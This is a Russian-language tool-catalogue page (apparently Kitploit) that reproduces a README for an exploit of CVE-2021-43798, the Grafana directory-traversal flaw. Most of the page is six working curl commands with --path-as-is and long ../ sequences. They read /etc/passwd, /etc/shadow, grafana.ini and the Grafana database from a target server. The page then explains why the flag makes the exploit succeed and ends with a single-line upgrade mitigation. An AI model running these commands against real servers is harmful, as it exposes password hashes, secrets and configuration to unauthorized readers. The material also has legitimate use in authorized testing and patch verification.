Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-43798 | Kitploit
Инструменты/GitHubGitHub/malekalthubiany/cve-2021-43798
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubmalekalthubiany/cve-2021-43798

CVE-2021-43798

Репозиторий
2 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Grafana CVE-2021-43798 Exploit

Обзор

Этот репозиторий демонстрирует эксплуатацию CVE-2021-43798, уязвимости обхода каталога в Grafana. Эта уязвимость позволяет злоумышленникам читать произвольные файлы на сервере.

Сведения о CVE

  • CVE: CVE-2021-43798
  • Описание: Уязвимость обхода каталога в Grafana версиях до 8.3.1.
  • Воздействие: Позволяет неавторизованным злоумышленникам читать произвольные файлы на сервере.

Предварительные требования

  • Запущенная уязвимая версия Grafana (до 8.3.1)
  • Доступ к целевой инстанции Grafana

Эксплуатация

Использование curl

Чтобы эксплуатировать уязвимость вручную, вы можете использовать одну из следующих команд curl, чтобы попытаться прочитать чувствительные файлы:

root@kitploit:~
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../Users/install.txt"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/passwd"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/grafana/grafana.ini"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/hostname"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/shadow"

Почему --path-as-is?

В контексте эксплуатации уязвимости обхода каталога Grafana CVE-2021-43798 параметр --path-as-is необходим, потому что он позволяет отправлять специально созданные последовательности обхода (../../../../../) напрямую на сервер без изменений. Это может привести к доступу к чувствительным файлам на сервере, находящимся за пределами предполагаемого каталога.

Без --path-as-is curl может нормализовать путь до чего-то вроде /public/plugins/Users/install.txt, что не приведёт к эксплуатации уязвимости. Используя --path-as-is, точная последовательность обхода сохраняется, что позволяет эксплойту сработать.

Ссылка на документацию

Вы можете найти более подробную информацию о параметре --path-as-is в документации curl. Понимая и используя --path-as-is, специалисты по безопасности и исследователи могут эффективно демонстрировать и тестировать уязвимости обхода каталога в веб-приложениях.

Меры по смягчению

Чтобы устранить эту уязвимость, обновите Grafana до версии 8.3.1 или более поздней.

Скачать инструмент